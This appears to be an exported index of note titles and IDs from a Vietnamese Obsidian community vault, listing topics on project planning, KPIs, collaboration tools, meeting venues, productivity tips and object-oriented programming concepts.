undefined +• ID: Mu +Ẩn dụ +• Slug: undefined +• ID: Mv +Gây quỹ +• Slug: undefined +• ID: Mw +Hỗ trợ +• Slug: undefined +• ID: Mx +Quan sát tham dự +• Slug: undefined +• ID: My +backup +• Slug: undefined +• ID: Mz +Công việc +• Slug: undefined +• ID: M- +Kế hoạch +• Slug: undefined +• ID: M_ +Phi tuyến +• Slug: undefined +• ID: N0 +Quỹ +• Slug: undefined +• ID: N1 +Sản phẩm +• Slug: undefined +• ID: N2 +Thước đo, đo lường, chỉ số, KPI +• Slug: undefined +• ID: N3 +Đơn giản +• Slug: undefined +• ID: N4 +Ưu tiên +• Slug: undefined +• ID: N5 +Phản hồi +• Slug: undefined +• ID: N6 +Ra quyết định +• Slug: undefined +• ID: N7 +Thảo luận +• Slug: undefined +• ID: N8 +Tin tưởng +• Slug: undefined +• ID: N9 +Văn hoá +• Slug: undefined +• ID: NA +Thành quả +• Slug: undefined +• ID: NB +Thời gian, lịch +• Slug: undefined +• ID: NC +Trí nhớ +• Slug: undefined +• ID: ND +Tự tổ chức +• Slug: undefined +• ID: NE +Đồ thị +• Slug: undefined +• ID: NF +Bing AI +• Slug: undefined +• ID: NG +Emilie Durkheim +• Slug: undefined +• ID: NH +James Clifford, Về Tính Uy Quyền của Khảo tả Dân Tộc Học +• Slug: undefined +• ID: NI +Kendy +• Slug: undefined +• ID: NJ +freeCodeCamp +• Slug: undefined +• ID: NK +Google Support +• Slug: undefined +• ID: NL +IBM +• Slug: undefined +• ID: NM +Phạm Đình Khánh +• Slug: undefined +• ID: NN +tuhocict +• Slug: undefined +• ID: NO +Viblo +• Slug: undefined +• ID: NP +ABG Open Special 2023 +• Slug: undefined +• ID: NQ +Tiền không mua được gì +• Slug: undefined +• ID: NR +Tạp chí ngân hàng +• Slug: undefined +• ID: NS +Andy Matuschak +• Slug: undefined +• ID: NT +Bret Victor +• Slug: undefined +• ID: NU +Maggie Appleton +• Slug: undefined +• ID: NV +Đừng bắt tôi nghĩ +• Slug: undefined +• ID: NW +Neilsen Norman Group +• Slug: undefined +• ID: NX +Nguyễn Hoài Vân +• Slug: undefined +• ID: NY +Nguyễn Đức Lộc +• Slug: undefined +• ID: NZ +nngroup +• Slug: undefined +• ID: Na +Paul Graham +• Slug: undefined +• ID: Nb +Phạm Trường Sơn +• Slug: undefined +• ID: Nc +Bùi Quang Tinh Tú +• Slug: undefined +• ID: Nd +Doing project wiki +• Slug: undefined +• ID: Ne +Hoàng Đức Minh +• Slug: undefined +• ID: Nf +Seth Godin +• Slug: undefined +• ID: Ng +CORE Econ +• Slug: undefined +• ID: Nh +Media for Thinking the Unthinkable +• Slug: undefined +• ID: Ni +Tạ Duy Phong +• Slug: undefined +• ID: Nj +Tự ngẫm nghĩ, trải nghiệm +• Slug: undefined +• ID: Nk +Veritasium +• Slug: undefined +• ID: Nl +Wikipedia +• Slug: undefined +• ID: Nm +Y Combinator +• Slug: undefined +• ID: Nn +Điệp +• Slug: undefined +• ID: No +⚡Hiểu biết sâu +• Slug: undefined +• ID: Np +🌟 Mở đầu +• Slug: undefined +• ID: Nq +3 Thành phẩm +• Slug: undefined +• ID: Nr +Các buổi cố vấn riêng +• Slug: undefined +• ID: Ns +Các buổi chia sẻ vault cá nhân +• Slug: undefined +• ID: Nt +Các buổi giới thiệu vault +• Slug: undefined +• ID: Nu +Demo tại nhóm phát triển sản phẩm +• Slug: undefined +• ID: Nv +15 - 3 +• Slug: undefined +• ID: Nw +Các buổi họp xây dựng kế hoạch phát triển +• Slug: undefined +• ID: Nx +Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng +• Slug: undefined +• ID: Ny +100% bài học có thành quả cần có +• Slug: undefined +• ID: Nz +Các bài học trên vault +• Slug: undefined +• ID: N- +Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp +• Slug: undefined +• ID: N_ +Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt +• Slug: undefined +• ID: O0 +Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp +• Slug: undefined +• ID: O1 +Các nghiên cứu về người dùng +• Slug: undefined +• ID: O2 +Bài đăng kêu gọi phỏng vấn +• Slug: undefined +• ID: O3 +Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới +• Slug: undefined +• ID: O4 +Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng +• Slug: undefined +• ID: O5 +Email mời phỏng vấn +• Slug: undefined +• ID: O6 +Khảo sát người sử dụng Obsidian +• Slug: undefined +• ID: O7 +Các nghiên cứu về sản phẩm +• Slug: undefined +• ID: O8 +Bộ cài +• Slug: undefined +• ID: O9 +Các trục trặc có thể gặp khi cài +• Slug: undefined +• ID: OA +Web +• Slug: undefined +• ID: OB +Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam +• Slug: undefined +• ID: OC +Kế hoạch phát triển dự án +• Slug: undefined +• ID: OD +Kế hoạch tổng +• Slug: undefined +• ID: OE +Quý II – 2023 +• Slug: undefined +• ID: OF +Số người tham gia mới (user acquisition) +• Slug: undefined +• ID: OG +Số người tiếp tục tham gia theo thời gian (retention) +• Slug: undefined +• ID: OH +Quản lý dự án +• Slug: undefined +• ID: OI +Tự học +• Slug: undefined +• ID: OJ +Các vấn đề về tiền +• Slug: undefined +• ID: OK +Dự án này cần những gì để phát triển +• Slug: undefined +• ID: OL +Hướng dẫn tải kho +• Slug: undefined +• ID: OM +Khác biệt giữa cộng đồng Obsidian tiếng Việt ở Facebook và Discord +• Slug: undefined +• ID: ON +Mọi người hay thảo luận ở đâu? +• Slug: undefined +• ID: OO +Những dấu mốc +• Slug: undefined +• ID: OP +Nơi này là nơi nào? +• Slug: undefined +• ID: OQ +Tôi có thể giúp gì? +• Slug: undefined +• ID: OR +Tại sao lại cần tải kho về hơn là đọc trên web? +• Slug: undefined +• ID: OS +Về chữ Nguồn +• Slug: undefined +• ID: OT +C Obsidian, quản lý dự án và công cụ nghĩ +• Slug: undefined +• ID: OU +Giả thiết về người tham gia +• Slug: undefined +• ID: OV +Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình +• Slug: undefined +• ID: OW +Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể +• Slug: undefined +• ID: OX +Giả thiết về đối tượng cần học cách lập trình +• Slug: undefined +• ID: OY +Untitled +• Slug: undefined +• ID: OZ +Mỗi tuần có 450 người học +• Slug: undefined +• ID: Oa +Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ +• Slug: undefined +• ID: Ob +Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình +• Slug: undefined +• ID: Oc +Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả +• Slug: undefined +• ID: Od +Khảo sát người muốn tham gia nhóm học lập trình +• Slug: undefined +• ID: Oe +Nghiên cứu người dùng +• Slug: undefined +• ID: Of +Bản khảo sát nhu cầu học lập trình +• Slug: undefined +• ID: Og +Mục tiêu và câu hỏi phỏng vấn +• Slug: undefined +• ID: Oh +Mục tiêu và câu hỏi phỏng vấn +• Slug: undefined +• ID: Oi +Phiếu đăng ký tham gia CBĐỨNCHCSDCCVTDLT +• Slug: undefined +• ID: Oj +Bàn làm việc Google Calendar +• Slug: undefined +• ID: Ok +Các buổi đáp ứng nhu cầu học lập trình +• Slug: undefined +• ID: Ol +Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng) +• Slug: undefined +• ID: Om +Buổi hướng dẫn và thảo luận +• Slug: undefined +• ID: On +Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc +• Slug: undefined +• ID: Oo +Khi nào thì chiến lược định giá "trả tuỳ tâm" đạt được sự bền vững? +• Slug: undefined +• ID: Op +Trần Thuý Hoà +• Slug: undefined +• ID: Oq +Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình +• Slug: undefined +• ID: Or +Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất +• Slug: undefined +• ID: Os +Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý +• Slug: undefined +• ID: Ot +Hiểu về dữ liệu cho người làm kế toán +• Slug: undefined +• ID: Ou +3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn +• Slug: undefined +• ID: Ov +50% người xây vault kết nối nhu cầu của mình tới vault chung +• Slug: undefined +• ID: Ow +20% người tham gia liên thông dữ liệu với các vault khác +• Slug: undefined +• ID: Ox +40% người tham gia biết dùng Git +• Slug: undefined +• ID: Oy +50% người đóng góp đáp ứng được các nhu cầu khác của họ +• Slug: undefined +• ID: Oz +100 nhóm dự án thấy vault ❝Tự học Obsidian❞ giúp họ trong việc học Obsidian và quản lý công việc +• Slug: undefined +• ID: O- +1000 người mở vault 3 lần +• Slug: undefined +• ID: O_ +10000 người biết tới sự tồn tại của vault +• Slug: undefined +• ID: P0 +2000 người mở vault 1 lần +• Slug: undefined +• ID: P1 +2500 người tải bộ cài về +• Slug: undefined +• ID: P2 +4000 người nhấp vào link tải +• Slug: undefined +• ID: P3 +50 nhóm dự án cộng đồng tham gia các buổi học về Obsidian +• Slug: undefined +• ID: P4 +50% người dễ dàng tự sử dụng +• Slug: undefined +• ID: P5 +50% người hỏi về sau buổi demo +• Slug: undefined +• ID: P6 +50% người thấy được sự khác biệt với những phần mềm khác và ý nghĩa của sự khác biệt đó +• Slug: undefined +• ID: P7 +500 người mở vault ít nhất 10 lần +• Slug: undefined +• ID: P8 +80% người mới đến được nơi họ cần đến trong 3 giây +• Slug: undefined +• ID: P9 +người làm vault để quản lý cuộc sống của họ +• Slug: undefined +• ID: PA +1 người tham gia phỏng vấn mỗi tuần +• Slug: undefined +• ID: PB +100% người tham gia cho phản hồi về độ hấp dẫn của bài học +• Slug: undefined +• ID: PC +20% người tham gia tìm hiểu về Quả Cầu +• Slug: undefined +• ID: PD +3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn +• Slug: undefined +• ID: PE +3 nhóm chỉ cần đi học không bị mất tiền +• Slug: undefined +• ID: PF +50% người chia sẻ vault cho bạn bè +• Slug: undefined +• ID: PG +Nhật hoàn thiện được vault giáo trình Obsidian +• Slug: undefined +• ID: PH +100 dự án cộng đồng thấy Obsidian giúp họ xây dựng cộng đồng mạnh +• Slug: undefined +• ID: PI +50 nhóm dự án sử dụng Obsidian để quản lý công việc +• Slug: undefined +• ID: PJ +4 Các bên liên quan +• Slug: undefined +• ID: PK +Người đang dùng Google Drive +• Slug: undefined +• ID: PL +Người đang dùng Notion cho QLDA +• Slug: undefined +• ID: PM +Người muốn hỗ trợ người khác xây vault +• Slug: undefined +• ID: PN +Người tham gia kênh Obsidian tiếng Việt +• Slug: undefined +• ID: PO +Người theo dõi QC +• Slug: undefined +• ID: PP +Người đóng góp nội dung +• Slug: undefined +• ID: PQ +TNV QC +• Slug: undefined +• ID: PR +Người muốn quản lý cuộc sống cá nhân +• Slug: undefined +• ID: PS +Người muốn quản lý dự án, tổ chức +• Slug: undefined +• ID: PT +Người muốn xây dựng cộng đồng hoặc mạng lưới +• Slug: undefined +• ID: PU +Người tò mò về Obsidian +• Slug: undefined +• ID: PV +Người có viết plugin +• Slug: undefined +• ID: PW +Người tham gia thầm lặng kênh Obsidian tiếng Việt +• Slug: undefined +• ID: PX +Người tham gia tích cực kênh Obsidian tiếng Việt +• Slug: undefined +• ID: PY +Người đã dùng Git mức 1 +• Slug: undefined +• ID: PZ +Người đã dùng Git mức 2 +• Slug: undefined +• ID: Pa +Người đã dùng Obsidian mức 1 +• Slug: undefined +• ID: Pb +Người đã dùng Obsidian mức 2 +• Slug: undefined +• ID: Pc +5 Giả thuyết +• Slug: undefined +• ID: Pd +Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất +• Slug: undefined +• ID: Pe +Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm +• Slug: undefined +• ID: Pf +Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm +• Slug: undefined +• ID: Pg +Giả thiết về đối tượng thụ hưởng +• Slug: undefined +• ID: Ph +Người dùng sử dụng dễ dàng Obsidian +• Slug: undefined +• ID: Pi +Người muốn đóng góp có biết cách đóng góp +• Slug: undefined +• ID: Pj +Obsidian hữu ích để quản lý công việc +• Slug: undefined +• ID: Pk +Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn +• Slug: undefined +• ID: Pl +Việc phải nói chuyện nhu cầu của nhau là mệt mỏi +• Slug: undefined +• ID: Pm +Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền +• Slug: undefined +• ID: Pn +Kế hoạch phát triển công cụ cho hệ sinh thái +• Slug: undefined +• ID: Po +Bài viết về vấn đề về hệ sinh thái +• Slug: undefined +• ID: Pp +Hanoi Grapevine +• Slug: undefined +• ID: Pq +Lê Nguyễn Tường Vân +• Slug: undefined +• ID: Pr +Nguyễn Cảnh Bình +• Slug: undefined +• ID: Ps +Nguyễn Hoàng Hải +• Slug: undefined +• ID: Pt +Kế hoạch truyền thông +• Slug: undefined +• ID: Pu +Từ việc lưu dữ liệu tại chỗ +• Slug: undefined +• ID: Pv +Xây dựng hệ thống tri thức cộng đồng +• Slug: undefined +• ID: Pw +Giả thiết +• Slug: undefined +• ID: Px +Mục tiêu và câu hỏi nghiên cứu +• Slug: undefined +• ID: Py +Phỏng vấn Huyền +• Slug: undefined +• ID: Pz +Chia sẻ kho kiến thức, tài nguyên đến với mọi người +• Slug: undefined +• ID: P- +Giới thiệu đối ⊷ thoại +• Slug: undefined +• ID: P_ +Hướng dẫn sử dụng +• Slug: undefined +• ID: Q0 +Liên kết tiếng Việt +• Slug: undefined +• ID: Q1 +Mở các cuộc đối thoại với cộng đồng +• Slug: undefined +• ID: Q2 +Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng +• Slug: undefined +• ID: Q3 +Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn +• Slug: undefined +• ID: Q4 +Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng +• Slug: undefined +• ID: Q5 +đối ⊷ thoại +• Slug: undefined +• ID: Q6 +Hướng dẫn truyền thông +• Slug: undefined +• ID: Q7 +AGB Saigon Plus +• Slug: undefined +• ID: Q8 +Discord Obsidian tiếng-Việt +• Slug: undefined +• ID: Q9 +Dạy Nhau Học +• Slug: undefined +• ID: QA +Symato +• Slug: undefined +• ID: QB +Tự học Data +• Slug: undefined +• ID: QC +Công cụ nghĩ +• Slug: undefined +• ID: QD +Data-driven +• Slug: undefined +• ID: QE +ERP, no code +• Slug: undefined +• ID: QF +Excel, AppScript +• Slug: undefined +• ID: QG +Fintech, tài chính cá nhân +• Slug: undefined +• ID: QH +Khoa học dữ liệu +• Slug: undefined +• ID: QI +Lập trình nói chung +• Slug: undefined +• ID: QJ +Sản phẩm, phân tích kinh doanh +• Slug: undefined +• ID: QK +Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ +• Slug: undefined +• ID: QL +Launch +• Slug: undefined +• ID: QM +SME, startup, khởi nghiệp +• Slug: undefined +• ID: QN +Kingdom of Cubes +• Slug: undefined +• ID: QO +BPO +• Slug: undefined +• ID: QP +Marketing +• Slug: undefined +• ID: QQ +Sự kiện, HR +• Slug: undefined +• ID: QR +Web dev, GA, Ads, SEO, MMO +• Slug: undefined +• ID: QS +Công nghệ +• Slug: undefined +• ID: QT +J2TEAM +• Slug: undefined +• ID: QU +Discord QC +• Slug: undefined +• ID: QV +Untitled +• Slug: undefined +• ID: QW +Facebook page QC +• Slug: undefined +• ID: QX +LinkedIn +• Slug: undefined +• ID: QY +Profile QC +• Slug: undefined +• ID: QZ +📐 Dự án +• Slug: undefined +• ID: Qa +Cách để tìm công cụ đúng nhu cầu của mình +• Slug: undefined +• ID: Qb +LibGen +• Slug: undefined +• ID: Qc +Khi được trò chuyện với người cùng quan tâm thì việc nghĩ không nhức đầu. Khi không có thì việc nghĩ nhức đầu +• Slug: undefined +• ID: Qd +Không reply sau 3 tháng +• Slug: undefined +• ID: Qe +SO không xem mình là trang dạy kiến thức +• Slug: undefined +• ID: Qf +Stack Exchange +• Slug: undefined +• ID: Qg +Teamliquid, Liquidpedia, tl.net +• Slug: undefined +• ID: Qh +Trường phái bớt và trường phái thêm +• Slug: undefined +• ID: Qi +Uy quyền sự thật của Wikipedia +• Slug: undefined +• ID: Qj +Đóng góp vào Wikipedia +• Slug: undefined +• ID: Qk +Giải pháp kỹ thuật +• Slug: undefined +• ID: Ql +Các công việc tổ chức một buổi họp +• Slug: undefined +• ID: Qm +Kinh nghiệm setup khi có cả online và offline +• Slug: undefined +• ID: Qn +Làm livestream và video +• Slug: undefined +• ID: Qo +Cricket +• Slug: undefined +• ID: Qp +Cái Giếng +• Slug: undefined +• ID: Qq +Nơi gặp mặt trực tiếp tại Hà Nội +• Slug: undefined +• ID: Qr +Nơi gặp mặt trực tiếp +• Slug: undefined +• ID: Qs +Căn tin bệnh viện +• Slug: undefined +• ID: Qt +Không gian làm việc chung ở TPHCM +• Slug: undefined +• ID: Qu +Phòng tự học của các trường đại học +• Slug: undefined +• ID: Qv +SiHub +• Slug: undefined +• ID: Qw +Cái Tổ Nhỏ +• Slug: undefined +• ID: Qx +Phòng họp riêng ở TPHCM +• Slug: undefined +• ID: Qy +Phòng sinh hoạt chung cư GoldView +• Slug: undefined +• ID: Qz +UAC +• Slug: undefined +• ID: Q- +Vẫn đang suy nghĩ space +• Slug: undefined +• ID: Q_ +Viễn Đông +• Slug: undefined +• ID: R0 +Zest X Space +• Slug: undefined +• ID: R1 +Flat White +• Slug: undefined +• ID: R2 +ME +• Slug: undefined +• ID: R3 +Quán có phòng riêng +• Slug: undefined +• ID: R4 +Tonkin +• Slug: undefined +• ID: R5 +Mr Bean +• Slug: undefined +• ID: R6 +Quán không có phòng riêng ở TPHCM +• Slug: undefined +• ID: R7 +Nơi gặp mặt trực tiếp tại TPHCM +• Slug: undefined +• ID: R8 +Công viên +• Slug: undefined +• ID: R9 +Sân vườn chung cư GoldView +• Slug: undefined +• ID: RA +Địa điểm công cộng ở TPHCM +• Slug: undefined +• ID: RB +Chặn quảng cáo trong app Android +• Slug: undefined +• ID: RC +Xóa bloatware trên Windows, Android +• Slug: undefined +• ID: RD +Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm +• Slug: undefined +• ID: RE +Chặn quảng cáo trên trình duyệt +• Slug: undefined +• ID: RF +FB purity giúp giảm rác Facebook +• Slug: undefined +• ID: RG +Loại bỏ popup bằng Idontcareaboutcookies, No Thanks +• Slug: undefined +• ID: RH +Tránh bị nghiện mạng xã hội +• Slug: undefined +• ID: RI +Tập làm hacker +• Slug: undefined +• ID: RJ +Đọc những trang thu phí bằng 12ft.io +• Slug: undefined +• ID: RK +Ẩn kết quả tìm kiếm rác trên Google +• Slug: ẨnSEORác +• ID: RL +Chỉnh sửa PDF hàng loạt bằng cpdf +• Slug: undefined +• ID: RM +Cách setup cho việc đọc PDF thường xuyên +• Slug: undefined +• ID: RN +PDF là để in ra giấy, không phải để đọc trên máy +• Slug: undefined +• ID: RO +Tạo mục lục cho PDF +• Slug: undefined +• ID: RP +Facebook vs Discord +• Slug: undefined +• ID: RQ +Google Calendar +• Slug: undefined +• ID: RR +Google Drive +• Slug: undefined +• ID: RS +Discord +• Slug: undefined +• ID: RT +Messenger +• Slug: undefined +• ID: RU +Zalo +• Slug: undefined +• ID: RV +Butter +• Slug: undefined +• ID: RW +Discord (gọi video) +• Slug: undefined +• ID: RX +Gather +• Slug: undefined +• ID: RY +Google Meet +• Slug: undefined +• ID: RZ +Messenger (gọi video) +• Slug: undefined +• ID: Ra +Microsoft Teams +• Slug: undefined +• ID: Rb +Zalo (gọi video) +• Slug: undefined +• ID: Rc +Zoom +• Slug: undefined +• ID: Rd +ExcaliDraw +• Slug: undefined +• ID: Re +Miro +• Slug: undefined +• ID: Rf +Discord, Messenger và Telegram +• Slug: undefined +• ID: Rg +Group Facebook +• Slug: undefined +• ID: Rh +Group Zalo +• Slug: undefined +• ID: Ri +Phần mềm xây dựng cộng đồng +• Slug: undefined +• ID: Rj +Server Discord +• Slug: undefined +• ID: Rk +Tìm công cụ phù hợp +• Slug: undefined +• ID: Rl +Airtable +• Slug: undefined +• ID: Rm +Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas +• Slug: undefined +• ID: Rn +Fibery +• Slug: undefined +• ID: Ro +Git giúp ta du hành thời gian +• Slug: undefined +• ID: Rp +Git mở ra nhiều khả thể trong việc hợp tác +• Slug: undefined +• ID: Rq +Git, GitHub, GitKraken +• Slug: undefined +• ID: Rr +Google Drive +• Slug: undefined +• ID: Rs +Nhược điểm của Obsidian và Fibery +• Slug: undefined +• ID: Rt +Notion +• Slug: undefined +• ID: Ru +Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag +• Slug: undefined +• ID: Rv +Các plugin trong Obsidian liên quan đến Notion +• Slug: undefined +• ID: Rw +Cách để tìm plugin đúng nhu cầu của mình +• Slug: undefined +• ID: Rx +Obsidian Hub được thiết kế để không phải dùng plugin gì cũng dùng được ngay +• Slug: undefined +• ID: Ry +Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ +• Slug: undefined +• ID: Rz +Obsidian +• Slug: undefined +• ID: R- +Tana +• Slug: undefined +• ID: R_ +TiddlyWiki +• Slug: undefined +• ID: S0 +Zotero +• Slug: undefined +• ID: S1 +Các loại alias +• Slug: undefined +• ID: S2 +Các loại tiêu đề và cách dùng chúng +• Slug: undefined +• ID: S3 +Cách sắp xếp thư mục cho các tập tin bổ trợ +• Slug: undefined +• ID: S4 +Quản lý dữ liệu cho dự án, sản phẩm +• Slug: undefined +• ID: S5 +Quản lý tổ chức +• Slug: undefined +• ID: S6 +Đánh số phiên bản +• Slug: undefined +• ID: S7 +Đánh số thư mục +• Slug: undefined +• ID: S8 +App script +• Slug: undefined +• ID: S9 +AutoHotKey +• Slug: undefined +• ID: SA +Chỉnh sửa file hàng loạt bằng PowerShell +• Slug: undefined +• ID: SB +Chỉnh sửa ảnh hàng loạt bằng ImageMagick +• Slug: undefined +• ID: SC +Chụp màn hình bằng ShareX +• Slug: undefined +• ID: SD +CopyQ +• Slug: undefined +• ID: SE +Tạo phím tắt bằng AutoHotKey +• Slug: undefined +• ID: SF +Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho +• Slug: undefined +• ID: SG +Google Analytics, Google Tag Manager +• Slug: undefined +• ID: SH +Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không? +• Slug: undefined +• ID: SI +Nền tảng viết trên mạng +• Slug: undefined +• ID: SJ +Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó? +• Slug: undefined +• ID: SK +Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc +• Slug: undefined +• ID: SL +Khó có thể copy dữ liệu dạng block giữa các app khác nhau +• Slug: undefined +• ID: SM +Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc +• Slug: undefined +• ID: SN +The Semantic Web is essentially a distributed-objects framework +• Slug: undefined +• ID: SO +Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào +• Slug: undefined +• ID: SP +DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ +• Slug: undefined +• ID: SQ +Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng +• Slug: undefined +• ID: SR +Hệ thống thông tin +• Slug: undefined +• ID: SS +Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate) +• Slug: undefined +• ID: ST +Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất +• Slug: undefined +• ID: SU +Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc +• Slug: undefined +• ID: SV +Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần +• Slug: undefined +• ID: SW +Tệp là thứ mà nhiều chương trình khác nhau đều đọc được +• Slug: undefined +• ID: SX +Văn bản thuần là dạng dữ liệu đơn giản nhất +• Slug: undefined +• ID: SY +Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp +• Slug: undefined +• ID: SZ +Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments +• Slug: undefined +• ID: Sa +Hợp tác làm việc +• Slug: undefined +• ID: Sb +Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ +• Slug: undefined +• ID: Sc +Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện +• Slug: undefined +• ID: Sd +Real-time collaboration isn't necessary in most cases, but asynchronous collaboration +• Slug: undefined +• ID: Se +Sơ đồ kết nối +• Slug: undefined +• ID: Sf +Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó +• Slug: undefined +• ID: Sg +Sự kiện là một sự thay đổi về trạng thái +• Slug: undefined +• ID: Sh +The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption +• Slug: undefined +• ID: Si +Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó +• Slug: undefined +• ID: Sj +Bỏ hết những thông tin thừa khi làm đồ thị +• Slug: undefined +• ID: Sk +Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút +• Slug: undefined +• ID: Sl +Concept map, knowledge graph +• Slug: undefined +• ID: Sm +Lý thuyết đồ thị +• Slug: undefined +• ID: Sn +70% thời gian chỉ là để làm sạch dữ liệu +• Slug: undefined +• ID: So +Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra +• Slug: undefined +• ID: Sp +Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: Sq +Bản chất của mô hình chủ đề là tô màu cho văn bản và từ +• Slug: undefined +• ID: Sr +Mô hình chủ đề rất hữu dụng cho việc diễn giải +• Slug: undefined +• ID: Ss +Ngoài việc sử dụng mô hình chủ đề và tạo cơ sở dữ liệu, các dự án nhân văn số dường như không sử dụng các lĩnh vực khác của công nghệ thông tin +• Slug: undefined +• ID: St +Nhân văn số sử dụng mô hình chủ đề rất nhiều +• Slug: undefined +• ID: Su +Các dự án, công cụ, tài nguyên cho nhân văn số +• Slug: undefined +• ID: Sv +Xử lý ngôn ngữ tự nhiên (NLP) +• Slug: undefined +• ID: Sw +Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ +• Slug: undefined +• ID: Sx +Thống kê +• Slug: undefined +• ID: Sy +Lĩnh vực +• Slug: undefined +• ID: Sz +4 đặc điểm của lập trình hướng vật thể +• Slug: undefined +• ID: S- +Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể +• Slug: undefined +• ID: S_ +Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể +• Slug: undefined +• ID: T0 +Các ngôn ngữ tiến hoá dần để trở thành Lips +• Slug: undefined +• ID: T1 +Hoạt động trung tâm của lập trình hướng vật thể là phân loại +• Slug: undefined +• ID: T2 +Biểu thức (expression) là những thứ trả lại một giá trị nào đó +• Slug: undefined +• ID: T3 +Giao diện là cái khuôn của phương thức +• Slug: undefined +• ID: T4 +Phương thức cho ta biết mình có thể làm gì với vật thể đó +• Slug: undefined +• ID: T5 +Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng +• Slug: undefined +• ID: T6 +Lớp là một cái khuôn để tạo các vật thể cho nhanh +• Slug: undefined +• ID: T7 +API là giao diện của một chương trình +• Slug: undefined +• ID: T8 +Giao diện +• Slug: undefined +• ID: T9 +Package và library là những cái tên khác nhau cho cùng một thứ +• Slug: undefined +• ID: TA +JSON là cách để biểu diễn vật thể ra chữ +• Slug: undefined +• ID: TB +Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì +• Slug: undefined +• ID: TC +Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài +• Slug: undefined +• ID: TD +Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó +• Slug: undefined +• ID: TE +Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó +• Slug: undefined +• ID: TF +Vật thể được tạo nên bởi những thuộc tính +• Slug: undefined +• ID: TG +Lập trình hướng vật thể +• Slug: undefined +• ID: TH +Giao diện người dùng, logic, dữ liệu là 3 thành phần cơ bản cho một chương trình. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Không thể trộn lẫn lộn với nhau được. +• Slug: undefined +• ID: TI 